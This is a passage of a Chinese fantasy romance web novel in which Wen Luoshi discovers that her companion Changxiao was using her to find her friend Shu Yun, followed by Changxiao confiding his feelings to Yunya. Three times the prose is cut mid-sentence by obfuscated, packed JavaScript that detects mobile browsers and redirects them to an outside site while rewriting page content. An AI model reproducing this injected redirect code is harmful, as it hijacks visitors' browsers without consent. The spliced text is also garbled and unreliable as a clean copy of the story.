她愣了一瞬,脑海中飞闪过无数个可能性,最终,她打算装作没看见对方。 然而,好巧不巧,对方刚刚还在左顾右半,偏偏在这时将视线投来这边。文落诗低头之前,和他的眼神对上了一瞬。 鼎沸熙攘中,两人像是定格了一般,独立于流动的人群。 完了。 文落诗暗叫不好,没再上前,稳稳当当站在人群中,任由人群不断擦肩而过,等待那人向自己走来。 与此同时,她神色不动,默默给不远处的舒允传音:“我在你后面,你先看灯,别回头,千万别回头。” 舒允抓着花灯的动作明显一顿,很配合地没回头:“怎么回事?” “碰到一个人,我怕来者不善。来不及跟你解释,你先等一会,假装不认识我。” “好,你要是打不过就叫我。” “……应该也不至于打起来吧。” 虽然她恐怕真的打不过。 两人传音至此,那“不善”的来者已经走到文落诗跟前。他眯起眼睛,用一种既在意料之中又在意料之外的眼神打量着文落诗,嘴角淡淡挂着笑容。 文落诗望着他这副神情,手有些控制不住地抖。她心一横,想着快刀斩乱麻,赶紧对付过去,别波及到舒允。 于是,她一咬牙,脸上漾起微笑,温和道:“这位仙君,真是幸会啊,竟能在此处遇上你。” 真是不幸啊,她心里补了一句。 对方眉眼弯弯,笑得漫不经心:“姑娘幸会,真是好久不见。” 文落诗心里暗骂,谁想见你啊!我跟你又不熟,你不知道两界马上要开战了啊! 此人正是文落诗唯一在魔界里见过的天界之人,那个曾经在稀音城买了烤红苕碰上第一面、后来又在春庭酒楼后院碰上第二面的那个仙君。 被长晓称为此生至交的那位。 不管长晓跟他怎么好,那是他的私事,就跟她和舒允是私交一样。她可不想认识那么多敌方之人,一个不小心被以私通仙族的名义给她抓起来,就不好办了。 但文落诗强撑着脸上的笑,继续问道:“敢问这位仙君,如今这时间来到此处,所为何事啊?” 她已经尽最大努力,让这话听起来没那么伤感情了。 那仙君掸了掸衣袖,脸上依旧挂着春风暖阳般的笑容:“来寻一个人。”他似乎看出了文落诗的担心,又道,“此前出现在稀音城,也是为寻一人,仅此而已,姑娘别多想。” 文落诗将信将疑,看着面前轻袍缓带的人楚楚身姿站在面前,仿佛这魔界说来就来一样,再也矜持不住微笑,索性泄下一口气。 “我姑且相信,那敢问,是什么人如此重要,值得你花如此多的心思?” 仙君听出文落诗语气中的不满,却并没有放在心上,只是继续微笑。他犹豫了一下,抿唇道:“我意中人。” 72. 半边秋雨半边月 文落诗一愣,随即只觉心里一个巨大的石头砸下来。 得,按这个意思,这里还有别的仙族啊! 文落诗盯着眼前这个人,知道他今天虽然隐瞒了身上的气息,让人看不出他是仙族,但若是真起冲突,文落诗绝对打不过。更何况听他的意思,还有别的仙族在此,要是加起来,文落诗更打不过了。 仙君看文落诗脸上的表情变幻莫测,有些好笑:“姑娘放心,我没有任何恶意,也不会和你们起冲突。我昨日听说要寻的那人出现在此,才赶来这里。却不曾想,姑娘也在此处。” 文落诗心想,你不曾想的还多呢,不仅我在这里,你那最好的朋友也在这里呢!不过,估计你不知道,我也不会告诉你。 “好,那我不打扰了,仙君好好找人,我就先走了。” 文落诗转过身去,再也控制不住表情,嘴角狠狠抽了抽。 但是她现在不能去找舒允。他们三个属于三种不同的立场,要是舒允也掺和进这件事,指不定多麻烦。 她刚想往反方向走,就听见背后的仙君不依不饶:“姑娘可否帮帮我?” 文落诗咬着牙,硬生生转过身:“我好像没有帮你的理由。” “早点找到人,我早点离开这里。姑娘觉得这个理由如何?” 文落诗心想,真不要脸啊,你们天界都这么不要脸的吗?早就听说天界道貌岸然,现在看来,传言属实,十分属实。 仙君继续道:“我刚来此处没一炷香的时间,人生地不熟,好不容易碰上姑娘你,只好求你帮助了。” 文落诗快气死了,她深知,自己此刻的表情一定很精彩。 她脑子一片混乱,正欲随便开口搪塞,便见仙君的眼神从她身上轻飘飘移开,看向她的左边。 文落诗的话卡在嘴边,顺着他的视线向左看去—— 舒允不知何时已经来到她旁边,手里僵僵提着花灯,眼睛睁得不能再大,受了惊一样。 文落诗心道不妙。她想也没想,左臂伸出,宽大的淡蓝色衣袖挡在舒允面前。 面前的仙君一直盯着舒允,收了方才的笑意,眼神微挑。 这是遇上目标的意思。 文落诗的眸光暗下来,神色冰冷,不经意间,杀气渐渐溢出。 虽然她真的不想动手,还是在大庭广众之下,以一个小小平民百姓的身份跟天界之人动手。但如果舒允出事,这件事就大了。龙族在两界之间中立,但谁都知道这是兵家必争之地,两界肯定都想着龙族站队。这个时间点上,绝对不能让舒允在此出事。 “我要是不帮,你能怎样?”文落诗挑眉,眉间带着一股独属于魔族的邪气。 “那个,阿落,你先别生气,他……可能是来找我的。” 这时舒允偏偏发话了,气若游丝,声音很小很小。她轻轻抓住文落诗挡在身前的左臂,晃了晃她。 文落诗听她这虚弱的声音,心里了然。 果然,这个仙君满口胡言乱语,明明就是来抓龙族公主的,还编了一堆华丽借口,甚至还想骗自己帮他。真是可耻至极,不怀好心。 她勾唇冷笑,目光如炬地睨着眼前的仙君,对舒允道:“我猜到了。但你放心,这里毕竟是我界,他想抓你,怕是也没那么容易。” 她心里盘算着如何出手才能有胜算,如何避开更多无辜的路人,完完全全没注意到,此刻她身旁的二人,表情都变得很尴尬。 那仙君先失笑一声,摇了摇头。 文落诗只当他是笃定了自己不敌他,此刻是在嘲笑自己,心中怒意更甚。 然后,她听身旁的舒允轻声问道:“你是来找我的吗?” 那仙君见舒允如此,眸中染上一丝怒意和些许无奈:“不然呢?” 舒允抓在文落诗胳膊上的手一僵,声音顿时软下来:“你……这是找了我多久啊?居然都找到这里了……” 那仙君没好气道:“你觉得呢?一生气就乱跑,还故意不告知我,传信也不收,害得我满世界找你,差点掘地三尺,把整个六界刨了一遍。”说罢,他瞧了一眼文落诗,“还差点让别人误会,我是来这里找茬的。” 舒允错愕道:“为什么要来找我啊?” “谁知道你是真出来散心还是来做什么?” “我当然是出来散心啊!” “你之前游历过那么多地方,唯独没到过魔界,我听说你这回来这里的时候都急死了,谁知道你怎么想的?” “……那我现在完好如初,全首全尾,你满意了?” 文落诗听着他们说话,只觉得自己的胳膊僵在半空中。 她听懵了,因为此刻这仙君的语气带着一种强烈的自由散漫之感,与方才温文尔雅、和气温声的样子截然不同,像是换了一个人。 舒允也是,头一次见她这么细声细气,跟往常那股傲然大小姐的劲完全不一样。 这么听起来,这两个人好像之前认识。 最终,还是舒允轻轻拍了拍文落诗的胳膊,语气中带着歉意:“阿落,太抱歉了,让你误会了。” 文落诗早不知道哪里跟哪里了,左看看舒允,右看看仙君,好像不知道自己在干嘛。 那仙君轻叹一口气,抬头对舒允“啧啧”两声,问道:“你说还是我来说?” 舒允嘴角一扯,歉然看向文落诗。 “阿落,他是云涯。” 说罢,她踮起脚尖,掐了掐文落诗死气沉沉的脸:“对不起对不起,让你担心了,他……大概可能也许貌似,是来找我的。” 文落诗怀疑自己听错了。 不是,什么? “你还‘大概也许可能貌似’?我就是来找你的。”仙君在一旁都被气笑了。 文落诗愣愣地转头看向那仙君,见他微笑颔首:“抱歉让姑娘误会了,在下云涯。” 那一瞬间,文落诗觉得自己脑子里嗡的一声。 她盯着眼前人,久久没能说出话来,只觉得自己全身上下都有种过度尴尬的虚无感,好像只要她闭上眼,就能假装什么也没遇见,从此蒸发。 许久之后,她呼出一口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080045|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双眼无光地说道:“久仰大名,云涯殿下。” 云涯笑道:“不必如此客气。” 舒允在一边直瞪眼:“你跟他客气什么?直接喊他名字就行。另外,他要是欺负你,你就只管欺负回去!” 文落诗险些翻白眼。她熟读话本无数,可太了解这种情况了,心道,我要是真欺负回去了,到时候你护着的恐怕就不是我了。 “这么看我干嘛,我说真的!”舒允急忙补充,然后无意识地向云涯的身前靠近。 文落诗后槽牙紧咬着,心想,就这,就这,昨天还跟我说是吵架了呢!今天我看,你一见面恨不得立刻扑到对方怀里去。她再次跟自己重申,陷于情中之人,说出来的每个字都不可以轻信。 最终她再次呼出一口气,对云涯道:“真是巧啊,我实属没想到居然是你。要知道,阿允跟我提过跟多次你的。” 她非常确定,这话他肯定爱听。 果不其然,云涯的脸上染上一抹笑容,暖洋洋的:“我也没想到这么巧。” 舒允在一旁疑惑:“你们两个之前见过啊?” 没等文落诗回答,云涯先回答道:“前些年我在稀音城找你的时候,与姑娘有过两面之缘。” 舒允“哦”了一声,没多在意。 可文落诗就不同了,这话让她一下子回想起以前。那是她最狼狈最憔悴的一段时期,没想到转眼间,已经过去三年了。彼时,第一次偶遇云涯,是她坐在街边帮一个老婆婆买红苕,云涯来买了两个,那时候文落诗就觉得此人修为甚高,如今知晓他身份,也不足为奇了。第二次见他,是在春庭酒楼后院里,那时候她正在去…… 回忆到此处,文落诗忽然意识到什么,面色忽然僵住。 紧接着,无数回忆碎片涌出,如同翻滚而来的海浪,层层拍打着她的内心。有关的、无关的、看似无关却大大相关的…… 她忽然意识到,这件事不简单。 云涯是怎么知道舒允在这里的?! 他方才说,舒允没告诉她,传信也不回;而他刚见自己的时候,又直接了当,说是来寻一个人的,目的明确,时间地点都十分精准…… 她赶紧叫醒自己,强行让自己不再想下去。 云涯像是注意到了文落诗的表情细微变化,细声问道:“还没问,姑娘怎么称呼?” 文落诗心中一惊,好像刚刚那团笼罩下来的疑云,又变得更不确定了。 他都能精准地来找舒允了,还居然不知道自己叫什么? 想到此处,她眼睛一眯,嘴角勾起一道讽刺的弧度:“他连我叫什么都没告诉你?” 云涯的眼神果然顿住。不过下一瞬,他面上的云淡风轻之意再次涌起:“我若是真知道这么多,还至于来街上碰运气找人吗?” 文落诗轻轻咬住自己的下唇。 她抛出了一个看似无厘头的问题,而云涯却毫无压力地把问题接住了。他这回答没毛病,滴水不漏,却也分毫不差。 但在场的都是明白人,文落诗知道,这证明她猜对了。 73. 半边秋雨半边月 “我叫文落诗,阿允她一直喊我阿落,你想叫我文姑娘或者直接叫落诗都可以。” 云涯轻轻颔首,表示了解:“落诗,幸会。” 这时,舒允在一旁开口:“阿落你别生气,我确实没和他说过你叫什么,因为我想着不给你添麻烦,这么多年,我都刻意隐去你的名字了。” 文落诗一怔,才明白舒允以为自己方才说的是她。 很可惜,并不是。 她想了半天,最终没接话。 而云涯也没戳穿这一切,只道:“我的确不便在此处停留太久,过两天等允儿玩够了,我们就回去了。” 文落诗听出他是在给自己递话,便顺着他的话开口:“也好,你们好久没见面了,可以一起转转。这样的话,我就不打扰了。” 舒允惊呼:“你走啦?不和我们一起逛啦?” 文落诗愤然撇嘴:“别以为我看不出来,你现在满心都想着你男人。” 所谓见色忘友,盖如此。 毫不意外,舒允哑然,瞬间不说话了。 云涯失笑,把舒允一把拉进怀里:“好,那多谢落诗,回头再见。” 文落诗大大方方点头,转身离开。 转过身的那一刻,她脑子瞬间变得空白了,茫茫街道,她甚至不知道该往哪里走。可是那二人在身后看着,自己也不能就此停下。一片混沌之中,她失了神智一般向前走,也不管走了多远。 直到她恍惚间出了主街,又过了好几条街道的时候,才在一个熟悉的地方停下。 也不知怎的,走来了藏书阁旁边。 参商镇本就不大,这里不可能有什么大型藏书阁,而这家被人称为“藏书阁”的地方,其实是一个私人馆藏书屋,里面有不少孤本。文落诗来参商镇的头几天就慕名而来,迅速想办法认识了这个馆长。馆长是个大好人,没比文落诗大多少,很欣赏文落诗这种爱书如命的人,便随时欢迎她来看书。馆长的妻子也是个大好人,有时候文落诗来这里一坐坐一下午,这个大姐姐还给她倒茶。 既然来了,反正今天没有别的地方可去,她又本能地不想回客栈,干脆来看书的。 馆长一见文落诗来了,喜悦浮上脸庞:“今天有空过来了?” 文落诗心不在焉“嗯”了一声。 馆长察觉不对劲:“心情不好啊?” 文落诗已经快走进书屋了,颓废地回头,眼神无光地又“嗯”了一声。 馆长不再理她,兴致勃勃地找夫人给她去泡茶了。 文落诗坐进屋里,靠着窗边,看着馆长离去的背影,怎么也打不起精神。 书就放在腿上,但是她怎么也读不进去。 有时候看着这种寻常人家,生活中不会有大起大落大风大浪,她还挺羡慕的。真说平静,她小时候过的生活也算是平静,后来一个人出来闯,遇到诸多事情,她也没觉得怎么样。真正让她觉得生活开始发生变化的,是遇见长晓之后。好像一切都变了,各种奇怪的事情多了,她遇上的人也都变成了以前根本见不到的“人物”们。 虽然她表面和长晓说,喜欢这种新生活中的不确定性,但真正自己一个人的时候,当然还是会觉得累的。甚至会有些难过,因为什么东西已经回不去了。 回过神时,一个熟悉的身影已经把茶碗放在她旁边。 “多谢姐姐。”文落诗抬眸,看着眼前人。 “你这是遇上事了?无精打采的。”书屋的女主人问道。 “我也不知道,”文落诗发现,自己也很难解释清楚此刻的情绪,“但大概是遇上事了。” “又被书局拒稿啦?” 文落诗摇头:“还没出结果。” “那就是感情上的事喽?你这表情,也就这两种可能。” 文落诗顿住,不知道这次该不该摇头。 “行,不想说就不说,缓几天看看。我当时刚开始和我夫君好的时候,也是三天两头吵架,但是缓几天就好了。” 文落诗一听这话,满脸哭笑不得:“我没有……” 书屋女主人却不理睬,像是看透了她一样,扬眉笑笑,走出屋去。 文落诗长长叹出一口气,开始喝茶看书,努力忘掉所有烦心事。 直到日暮时分,她也没读进去几页,只是静静地看着太阳从天空的中间移至西边的屋檐下。 她以为她会不在乎,但事实证明,她无时无刻不在想这件事。 其实也没什么的。就是有一天,你忽然意外发现,被被最信任的人利用了,这种感觉大概真的不会好过。 那种巨大的落差感,好像一把无形的刀,在不经意间,快速插.进原本就脆弱的空壳之中。 之所以白日里暂别舒允云涯,一方面是给他们时间,而另一方面更多的,是她实在需要一个人静一静。她怀着最后一丝希望,甚至是有些生气的意思,问了云涯那句话,而她得到的,却真的那个最不想接受的结果。 云涯第一次在稀音城和她见面,就是来找长晓的。那之后,她在春庭酒楼后院再次碰上他,还在长晓的屋里闻到了淡淡的红苕味。后来长晓说,云涯是他最好的朋友,文落诗也没多想,毕竟那时候不知道云涯是谁,也没多问过。 但是这一切,若是换作长晓的视角呢? 自己在稀音城打尹岐之后,仗着魔界没什么人知道舒允,报出的是舒允的名字,也就是说,从那时起,他便知道自己跟舒允认识。后来一路同行,自己也跟她再次提过舒允的名字,说过舒允是自己的朋友。 而昨日长晓刚知道舒允在此,今日云涯就恰好出现在此来找她,还知道上街来找,最终,就这么容易找到了。 大概如今,翻过头来再看这件事,就变得简单多了。 云涯是天界的储君,不会轻易来这里,那他知道舒允在此,必定是收到了消息才赶来。 大约稀音城那天,云涯找长晓,就是想请他帮忙找舒允,而长晓记下了。谁知没过两天,他就恰好听到自己认识舒允。后来自己也跟他更多透露,说舒允是自己最好的朋友。那么也就是说,只要一直跟着自己,必定有一天能见到舒允。 这不,目标出现了,就立刻给人家传信,如今呢,任务完成了呗。 文落诗抿着嘴,喝下了最后一口凉茶,甚至不根本想用法力加热。 其实这一切很容易猜到的。 和长晓在一起相处这么多天,她早就应该明白,任何看似的巧合都不是巧合。至于是一个蓄谋已久,还是很多个平静之下层层不断的计谋,或许,就要看她愿不愿意细究了。 只不过她庸人自扰,事到如今,依旧不愿意承认一个事实——长晓这些天,一直和自己同行,是因为他的目标是舒允。 与自己无关。 她其实不介意被这样利用,毕竟长晓和云涯考虑得在理,舒允一个人,人生地不熟的,跑来这里,得亏没人认出来她,她也没碰上什么大事。但是万一真碰上什么事就不好办了,对两界和龙族来说都是个麻烦。确实应该让她回去。 她痛苦的,是因为她一直以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15089494|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为,长晓愿意跟她一起走,只是因为她自己。不带任何其它原因的那种。 而今她发现,根本不是这样。 自己根本没有那么重要。 算了,早该知道的。 这些年不都是这么过来的吗?本来就不应该奢望什么。 那种持续了一下午的烦闷消失,而一种从未有过的失落涌上。不知不觉间,有什么东西划过脸颊,文落诗才意识到自己流了几滴眼泪。 * 晚上终归是要回去的。书屋的主人看她失魂落魄的样子,问她要不要晚上住这里,她想想还是算了。千万别再来个和“抓舒允”一样的情节了。 特别是,她不想有人找她。 仿佛赌气一样,她现在不需要任何人在乎她,千万别把她放在心上。 回到客栈,文落诗看到舒允和云涯正在大堂里吃饭。这个姑娘,真的每天就知道吃,每一顿都不放过。 她干巴的嘴角淡淡扯出一抹笑。 他们坐在大堂左边角落里,旁边还有几桌零零散散的客人。文落诗特意沿着右边边上走,去柜台找掌柜。 舒允先看到她了,不知道和云涯叨叨了些什么。 不一会,文落诗走到他们二人面前。 “你吃饭了吗?”舒允亮晶晶抬着眼眸。 文落诗摇头:“我又不是你,不用每顿饭都吃。” 虽然桌上的虾饺看起来很好吃。 第二重天临海,靠海吃海,文落诗在内陆生活久了,确实好久没吃过虾饺了。但是今天她一点胃口都没有,看着食物也没什么情绪。 文落诗的声音有些哑。不只舒允听出来了,云涯也听出来了。 而这两个极为聪明的人,根本不用文落诗多说,都直接猜到了她心情不好的原因。舒允哪怕没猜到的话,云涯估计刚刚也和她说了。 云涯温声道:“要不要坐下来,说说话?” 文落诗再次摇头:“没事,多谢,不必了。你们住几天?” 舒允看向云涯。 “看你,见到你我就放心了,你要是想多待几天,也都无所谓。”云涯回答。 “两三天吧,”舒允犹豫道,“咱们仨都在这里,不能待太久,太危险了。毕竟这里是客栈,不是自己家产业里或者宫里。万一走漏风声,咱们仨被一锅端了就惨了。” 云涯笑出声:“那倒不至于,也就只有你,有被人盯上的风险,我和……” 说到此处,二人忽然想起,文落诗还在她们旁边听着。云涯的声音直接断了,舒允也意识到自己说了什么,连连看向文落诗,面色有些尴尬。 文落诗面色自然,像是根本没在意似的:“行,交给我。” 说完,她转身离开。 没多久,她再次回来:“没有挨着和我的房间了,而且只剩下一间空房,在二层最里面。我给你们付了三日的房钱,好好住,有需要帮忙的告诉我。哦,饭钱我也付完了。” 舒允震惊了:“不用这样啊!” “别,”文落诗懒懒抬眼,“我之前在龙宫里蹭吃蹭喝,现在我好不容易当一次主人了,当然要我来。”说罢,她看向云涯,“赶路过来辛苦了,就当我招待你们了。” 云涯倒是自然:“那多谢落诗了。” 文落诗不再多说,转头上楼。 回到房间后,她直接灭了灯准备睡觉。也不打算沐浴,也不打算写稿。她就是觉得脑子里太乱,什么也不想做。 后来她昏昏沉沉睡着,枕头却是湿了。 74. 半边秋雨半边月 翌日早上,艳阳高照之时,文落诗才察觉有人敲门。 她昨天晚上哭得厉害,此刻眼睛肿肿的,懒得睁开,只是冲着门口说了声:“进。” “我的大美人啊,你怎么还没起床,太阳都……”舒允走进来,看到文落诗的样子,顿时怔住。 “是不是很晚了?”文落诗刚醒,有气无力。 “没事,你要不要再睡一会?”舒允立刻转变态度。她知道多问也无益,反而显得她揣着明白装糊涂,干脆不问。 文落诗缓缓坐起来:“不用,不然晚上睡不着了。” “行,”舒允在她身边坐下,手中变出一块沾了热水的手帕,“擦擦眼睛。别担心,我在这里呢。” 文落诗一听这话,又绷不住,眼睛又湿了。 “归根结底是因为要找我,我的问题。下回我一定找个机会,给你赔不是,补偿你。” 文落诗使劲摇头,眼泪哗哗往下掉,哭着道:“跟你没关系。” 舒允不再多说,把文落诗搂过来抱抱。 “以前总嫌你哭得太多,但这次我什么都不说了。好好哭,哭完了,姐姐带你出去走走,吃好吃的。” 文落诗本来哭得起劲,结果一听这话,几乎要破涕为笑:“你就比我大几十岁而已,姐姐什么姐姐。” “就算大一岁,也是你姐姐。”舒允理直气壮,“赶紧哭,哭完好出门。” 文落诗这回彻底不哭了:“你什么态度啊!” 舒允给她把眼泪擦干,撇嘴道:“我要是不这样,你能一直哭到下午。” 文落诗心想还真是,舒允过于了解她了。 后来,舒允拉着文落诗出门了。由于文落诗今天眼睛太肿了,给自己找了个幕篱带上。然后,随手给自己拿了条墨色的裙子穿上。裙子上面带着点点碎金,有如深夜中的星空。 舒允打量了一番文落诗的幕篱,道:“我觉得,这东西对我来说也很有必要,省着出去被人盯上。” 文落诗在黑色的纱布下回应:“没别人认识你,不会的。” 舒允对着铜镜端详了自己一番,道:“不行,我太美了,哪怕别人不知道我是谁,也容易被盯上。” 文落诗:“……” 好像说得很有道理。 * “她们两个出门了。”云涯毫无顾忌推开长晓的门,十分自然地进来坐下。 “我知道。”长晓坐在桌案前,低头看着桌上的茶杯,眼神一动不动。 云涯凑上去仔细一看:“你不会真的一晚上没睡吧?” 长晓没回答,但他眼睛里淡淡的血丝就已经说明一切。 云涯脸上露出些许惊讶和不解:“至于么?你要是觉得过意不去,直接去找她说清楚不就好了?” “找她?”长晓缓缓抬头,眼角带着几分自嘲,“现在这样,我还有什么资格去找她?” 云涯看向一旁,轻叹口气:“我要是早知道她们认识,就不麻烦你了,省着现在你这么难办。帮了我,压力给到你身上。” “你和她有交情?” 云涯凉凉地看他一眼:“有个买烤红苕的一面之缘,还有在你后院的第二面之缘。” “……” “你说这事怎么就这么巧?我在你们这里,说得上认识的,总共就俩人,一个是你,一个是落诗,谁能想到落诗刚好就是舒允那个提过无数次的朋友。” “确实太巧了。当初她和我说认识舒允,我也很震惊。” 云涯忽然不说话了,静静看着长晓,认真瞧着他的眼眸。 “想问什么直接问。” 云涯眼神一挑:“你喜欢落诗那姑娘吧?” 长晓沉默许久,最终,浅浅“嗯”了一声。 “那你娘应该放心了。” 长晓气笑:“跟我娘有什么关系?” “不是你当时跟我说,你娘让你出来走走,顺便看看能不能碰到中意的人吗?” “那是她随口一提。我当初就不该跟你提这句话。” 云涯“呵呵”一笑,接着问道:“话说回来,她呢?对你什么想法?” 长晓目光沉下来:“不知道。” 云涯对此反应毫不意外,仿佛长晓这个人就应当如此。但是他的脸上瞬间浮跃起听八卦的兴致,把隔壁往桌上一支,托住下巴:“来,跟我说说,你俩之间都有过什么?” 长晓根本不想回答。 然而云涯就这么等着,毫不含糊地盯着他,不给他躲闪的机会。 终于,拗不过他,长晓简单讲了讲他和文落诗怎么认识的,怎么一起踏上旅程,中间发生过什么。 云涯听着直皱眉:“没别的进展?” 长晓摇头,无奈叹气:“还能有什么进展啊?” 云涯微微抬头,眼神中闪过一丝似笑非笑:“在我印象里,我一直以为你们这里盛行巧取豪夺,或者二话不说就直接拉着对方去屋里……” “那是你以为。”长晓整张脸一黑。 “不对啊,”云涯继续道,“可能只是你不知道而已,毕竟我昨日来的路上,就看到两个……“ “你少说两句吧。”长晓迅速截住他的话,每个字都像是从牙缝里挤出来的。 而云涯挑了挑眉,继续从长晓刚刚交代的话里精致抓住了重点:“问你一个最简单的问题,落诗她,允许别人抱她吗?” 长晓一愣,眨了好几下眼睛。 他没想过这个问题。 被云涯这么一问,他也才意识到,文落诗平日里对外人时,都显得凶巴巴的,有人想欺负她,她都直接一道粉烟打过去,别人想近她的身都不可能。 而且,他忽然想起,似乎那天去绛霞双楼里找她的时候,在门口碰上楼尽歌也说,胳膊刚挨了文落诗一掌。还能是什么原因?楼尽歌当时想装出风流样子抱她,她不同意呗。 看着长晓久久不语,云涯的眼神从方才的打探慢慢变作了然,嘴角微微上扬:“那就好办了。我跟你说,你别担心,她现在只是没意识到而已。” 之后,又是一阵沉默。 片刻后,长晓道:“但我总觉得,她哪怕之后意识到了,也会依然装作没有察觉,不把任何事情戳破。” 云涯眼神一顿:“原因?” 长晓目光黯然;“她铁了心,想自己一个人过一辈子,不想沾任何感情相关的事情,也不想成亲。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092814|154738||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是她自己说的。” 云涯思考一阵:“也是,她跟你不一样。她可以一个人过一辈子,但你不行。她有得选,你没得选。” 长晓一听这话,凉凉抬眸:“别只顾着说我。你我半斤八两,没区别。” 云涯不理会他,不想此刻引入他和舒允的事情,只是继续问道:“对她来说,成亲意味着什么?” “意味着宣告自己的失败,意味着从此以后只能靠别人才能活着,意味着成为了世人眼里那些不够强大的依附者。” 云涯听得一愣一愣的。 “她想证明自己一个人也能过得很好,所以,如果承认喜欢别人,或者考虑婚嫁,会毁了她一直以来坚信的东西。她会破碎。” 云涯愣了好久没反应过来。 而长晓也不着急,兀自拿起桌上的酒杯,给自己闷了一口冷酒。 “我有点震惊,”云涯喃喃道,“是我的印象又出错了吗?你们这里,每个人都这么想吗?” “当然不是。” “那么,是谁要求她了?” “没人要求她。大概是她自己要求的。”长晓又斟了口酒,眸光淡淡,带着些许悲伤,“可能是这个世界对女子要求太严格了,她在自保吧。” “她是不是以前经历过什么啊?”云涯皱眉。 “不知道。她什么都是一个人扛着,很少对外说。有时候,我觉得她既强大,又脆弱。” “其实不只是她,”云涯面色稍缓,“你,我,舒允,都一样。” 长晓眼神深邃复杂,最终颔首。 “你俩还真挺像的。从这个角度讲,你俩还真适合凑一对。而且我印象中,你们这里的婚嫁只考虑感情就行,不用考虑任何门第啊、年龄啊、修为差距啊之类的。所以其实,就看她愿不愿意。” 长晓给云涯也倒了杯酒:“你的印象总算对了一次。” “而且落诗相当厉害的。我能感受到她修为可不低,挺少见的。” “嗯,她哪里都好。” “珍惜吧,”云涯拿起酒杯,举在空中,“这一点,换作我就没那么好的待遇了。还所谓只考虑感情就行?想都别想。得亏我碰上舒允了,真心真意喜欢她,现在用她的名号帮我挡着,清净多了,不然你可不知道,每天有多少人往我的宫殿门口凑,我当年烦都烦死了。这个那个仙子,哪个哪个帝君的女儿,再加上那一堆天上飞的、地上跑的、水里游的、还有既能飞又能游的……” 长晓笑得无奈,只是默默喝酒,听他一通抱怨。 大约半柱香时间过后,云涯才绕回正题:“啧,所以,落诗她,一点都没跟你有所表示过?” “没有。而且我想提的时候,她都会刻意绕开话题。” “故意避之不提,也侧面证明,她并非全然不知。” 长晓看向门的方向,仿佛期盼着有人敲门进来:“或许吧。也可能,她只是不愿意提及这个话题,跟我这个人没关系。” 云涯以一种重新认识老朋友的眼神看着长晓,使劲摇头,笑叹道:“真是难得啊,看你过情关。我以前都没想过你还会有这一天。” 长晓垂眸,笑得有些自嘲:“我也没想过。” 75. 半边秋雨半边月 “不过话说回来,”云涯眼中情绪流动着,像是感慨颇深,“咱俩都挺难的。看上的这两个姑娘,要是想与之在一起,都挺不容易。这事挺难应付。” 长晓眉梢轻轻一挑,有些揶揄的意味:“我倒是觉得,舒允的事情更困难。” 云涯显然不同意:“舒允吧,她是因为被身份所限,是外界因素,是她不能。” 长晓像是忽然偏移了话题,多嘴了一句:“不能是不能,但我很佩服的一点是,你们从来没放弃过在一起的任何机会。” “嗯,我们两个思维是一致的。”云涯自然地接受了这份佩服,却是话锋一转,“可落诗跟舒允不同。落诗没有这个顾忌。她是不想,这是她个人原因。” 长晓沉默。 云涯目光幽深:“这种把自己锁死的人,钥匙只能在她自己手里。” 长晓继续沉默。 很明显,他也意识到了这一点。 “所以呢?你打算怎么办?”云涯今日颇有刨根问底的架势,把胳膊肘往桌子上一支。 “不怎么办。她开心就好。”长晓思考许久,淡淡回答。 毕竟真正爱一个人,是放手,是牺牲自己去成全对方。 云涯无语地看着长晓,大概是意识到,他们的思维方式真的很不一样。要是他碰上这事,他绝对不会像长晓一样云淡风轻地说要放手。他绝对死缠烂打,直到把对方弄到手为止。 有时候他甚至觉得,他俩的身份应该交换一下,更符合外人眼里的刻板印象。 而此刻,云涯发现对面这个人劝也劝不动,干脆不劝了,让他吃点苦头再慢慢懂吧。 “我还是得多说你一句,”云涯重重叹了口气,“你不该瞒着她你的身份。” 长晓的眸光一动。 “你叫我来这里找舒允,别的都没说,唯独叮嘱我不要在别人面前直呼你大名,我当时还纳闷呢。” 长晓双眸中的水光渐渐晕开:“我实在不想和她明说。虽然我估计以她的脑子,在昨天过后,就差不多能猜到了。” “你何必呢?两个人猜来猜去的,什么什么都不说。” “她不想沾染任何政治。这一点怎么劝都没用。” 云涯恍然大悟:“我就说,以她的能力,怎么没被你招揽过去干这干那。原来是这样。” “我要是真说了,她早就不在我身边了。” 云涯皱眉。 “其实我很对不起她,”长晓的眸子低垂,头也低得更深,“这些天她和我在一起,已经不知受到多少波及了。” “不是我说你,你怎么偏偏看上她了呢?”云涯好像比长晓本人还着急。 “我也不知道,”长晓抬头,眼神中写满无奈,却沾着一丝笑意,“就是看上了,这些都顾不得了。” “也是。我和舒允,也是明知不可为而为之。” 又绕回去了。真是半句话不离舒允。长晓不再说话,给自己又斟了杯酒。 “我再多说点,但具体听不听看你。” 